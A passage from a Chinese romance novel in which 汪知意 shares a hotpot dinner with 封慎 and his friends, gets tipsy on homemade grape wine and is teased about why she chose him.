石头婶儿给汪知意弄了些绿叶菜、木耳和海带,还切了些豆腐。 封慎看了眼盘子里的东西,问石头婶儿:“有粉条吗?” 石头婶儿回:“有呀,我今儿刚打集上买回来。” 封慎道:“泡上些粉条,再在炉子里塞几块红薯烤着,她爱吃这些。” 石头婶儿笑着道好,快步走去后厨。 汪知意在他拉开的椅子上坐下,听到他和石头婶儿说的话,转头看他。 封慎拿过一套青花栀子纹的干净碗碟和同款花纹的筷子,放到她面前:“这都是新的,已经洗过了,你以后要是来食堂吃饭,就跟石头婶儿要,她会单独给你放起来。” 汪知意目光不离他,轻轻“嗯”了一声。 封慎给她倒一杯热水,又看她,眼神询问怎么了。 汪知意和他视线相撞,下意识地偏开些眼,假装找人:“封诚呢?” 封慎回:“他去省城办事情,明天才能赶回来。” 汪知意点点头。 封慎以为她怯生,俯下些身,面上淡漠,语气像是哄小孩儿:“不用怕,他们不敢再逗你。” 他靠近的气息将她包裹住,汪知意肩背绷得有些直,对他笑得温柔:“我不怕,你在呢。” 封慎眸光拢着她,汪知意眼皮颤了颤,要垂落下,又没有动,回视他,笑得更甜了些。 丁贵拿着两瓶酒过来:“小嫂子,要不要喝些葡萄酒,这是我们石头婶儿自己酿的,味道特别好,那些贵得上了天的洋酒都比不了。” 石头婶儿端着盘子从厨房里出来,被夸得有些不好意思,对汪知意笑:“就是我自己酿着玩儿的,没想到正好对上了丁厂长的口味儿。” 汪知意神色认真:“丁贵哥的口味儿可不是一般的好,他说好喝那肯定是特别好喝,我一定得尝尝,不过我酒量不太好,最多也就一杯的量。” 石头婶儿一下子笑得合不拢嘴:“那你先尝尝,少喝一些,要是喜欢,回头我再酿些度数低的。” 正在给铜锅里添炭火的贺岩也笑得腼腆:“我娘平时没事儿就爱捣鼓这些。” 汪知意回:“石头婶儿手巧在镇上是出了名的,我早就听说过。” 石头婶儿脸上的皱纹都笑成了花,嘴里说着都是他们瞎传的,扭头又跑回了厨房,恨不得把好吃的全都给汪知意端出来。 丁贵歪肩挨到封慎身旁,嘀咕道:“你回头问问你丈母娘,我小嫂子到底是吃什么长大的,嘴咋能这么甜,别说石头婶儿,我都受不住这哄。 封慎睨他,丁大公子识趣地让自己闭上了嘴,拿过酒杯给汪知意倒了满满一杯,封慎屈指轻叩了下桌面提醒:“尝尝味道就行,想喝等你手好了再喝。” 汪知意乖巧回:“知道了。” 他管人真的管得好严,也不知道他当了爹是什么样子……汪知意长长的睫毛一忽闪,赶紧打住自己的念头,闷头抿了些酒,甜甜的,很好喝,余光觑到他转脚去了别处,她又偷偷喝了一小口。 一桌子人很快落座,三个辣锅一个清汤锅,清汤锅前只坐着汪知意和封慎,其他人和他们隔着些距离围着三个红通通的辣锅坐。 汪知意带来的包子和菜也分成了两份,他们面前一份,另一份在等锅开的间隙,不过几分钟,就已经被瓜分了个干净,大家虽然都吃得狼吞虎咽,但都安静得很,只有些碗筷碰撞的声响。 看着瞬间清空的盘子,汪知意有些呆,石头婶儿吃着贺岩给她抢来的包子,忍不住笑,这还是因为有汪知意在,这群大小伙子们都在尽量保持着斯文相,要搁平时,一分钟不到,那盘子准得都见了底。 丁贵的手默默地伸到了汪知意他们这头,顺了个肉包子,又默默地收回了手。 汪知意回过神,拿起一个包子放到封慎的碗里,每样菜又都给他夹了些,然后将几个盘子推过去些,对贺岩道:“石头哥,这些你们也端去吃。” 贺岩先起身,又看封慎,其他人也巴巴地看向封慎。 封慎给铜锅里下了几块嫩白的豆腐,眼皮略抬起些,道:“还不谢谢你们嫂子。” 屋子里立刻响起震耳欲聋的“谢谢嫂子!” 汪知意压着脸上的热,笑得尽量自然,桌子底下,她的膝盖不小心碰到他的腿 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汪知意看着他眉峰上的那道疤痕,隐约察觉到他不想多聊这些,她点点头,看向其他人,很自然地转开话题:“你们都当过兵吗?” 丁贵道:“有的是,有的不是,”他打一个响指,“来,大家都自报一下姓名,让咱嫂子认认人,小伍子,从你开始。” 小伍子囫囵吞地咽下嘴里的包子,“腾”的一下站起身,从姓名到年纪,又到家乡,再到之前的工作,甚至连有没有对象,都报了个清楚,大家以小伍子为样板,挨个报下去。 汪知意转着目光,努力把每张脸和名字对上号记在心里。 她这个样子很像是在认真背书的乖学生,封慎看她:“记这么认真?又没人要考你的试。” 人有些多,汪知意记得本来就吃力,他一打断,原本记住的也忘了个七七八八,她有些恼地乜他一眼,小声道:“要记住呢,都是你的好兄弟,下次见到不能认错人。” 封慎看着她红扑扑的脸蛋儿,心里一动,屈指敲了下桌子:“下次见到你们嫂子先自报姓名,她不太认人脸。” 丁贵接话:“小嫂子不认人脸,怎么就独独能认出老大你。” 小伍子嘴又快:“这还用说,当然是咱哥够黑呗。” 一桌子的人哄堂大笑起来,汪知意也被逗得笑出声,偏头看封慎,乌黑的眸底藏着星星点点的亮光,看吧,不是只有她觉得他黑。 封慎这才发现她应该是有些醉了,杯子里的酒连一半都还没下去,她的这点酒量估计是沾酒就醉的那种。 他伸手要拿了她的酒杯。 汪知意按住他手背,不让他动:“不要,我还没喝够呢。” 她一醉,说话就习惯性地带“呢”,尾音很轻,看他的眼神柔柔的,像是在撒娇。 封慎眉眼平静,看一眼她空荡荡的手指:“戒指怎么不戴着?” 汪知意回:“那么贵重的东西,我怕我会弄丢,”她凑近他些,悄声道,“我藏到了羽绒服最里面的兜里。” 她气息里有股子甜津津的味道,封慎端起她的酒杯,喝一口了酒,确定她的味道和这葡萄酒里的甜一样。 汪知意想到什么,又凑近他些:“你说以后家里要不要买一个那种保险柜,还有你给的那大金镯子,你晚上要是不在家,我自己一个人守着那些宝贝会害怕。” 她声音很小,生怕被谁听到,封慎的耳朵被她的呼吸抵着,嗓子有些沉哑:“明天我去城里办事情,到时候去店里看看,要是有的话,就买一个回来。” 汪知意眼睫弯弯地笑,软软道一声“好”。 丁贵瞅着前面头挨着头说悄悄话的两个人,笑得不怀好意,他清了清嗓子嗓子,问汪知意:“嫂子,咱能不能偷偷八卦一下,你当初怎么就一眼相中我哥了?” 这个问题丁贵本来就好奇,就封老大那张百年都不笑一回的脸,再加上那么高的个头,走过来就跟个黑阎王似的,姑娘们看到的第一眼都会本能的害怕,更别提小嫂子这种一看就胆子没多大的甜妹子。 今天见过陈江川之后,丁贵就更好奇了,陈江川那个小白脸儿和封老大完全是大相反的类型,按说一个人喜欢吃什么饭应该是很难改变的。 他可是知道明宇叔当初把封老大他们兄弟仨都送了回来,让小嫂子自己选,相中哪个算哪个,依照小嫂子的喜好,封洵应该才是首选,最不济也是封诚,怎么看都不可能是封老大。 一桌子大小伙子们全都看了过来,他们更好奇,就连石头婶儿都在津津有味地看热闹。 封慎给她碗里夹了些肉,也看她。 汪知意握着筷子的手有些紧,她当初一眼相中的不是他……这件事肯定不能让他知道。 她不想他看出什么,望着他黑亮的眸子,不让自己躲避他的目光,轻声道:“就……他的眼睛很好看,会让人很想知道他笑起来是什么样子。” 封慎一顿。 房间里静得鸦雀无声,只有铜锅下面的炭火烧得噼啪作响。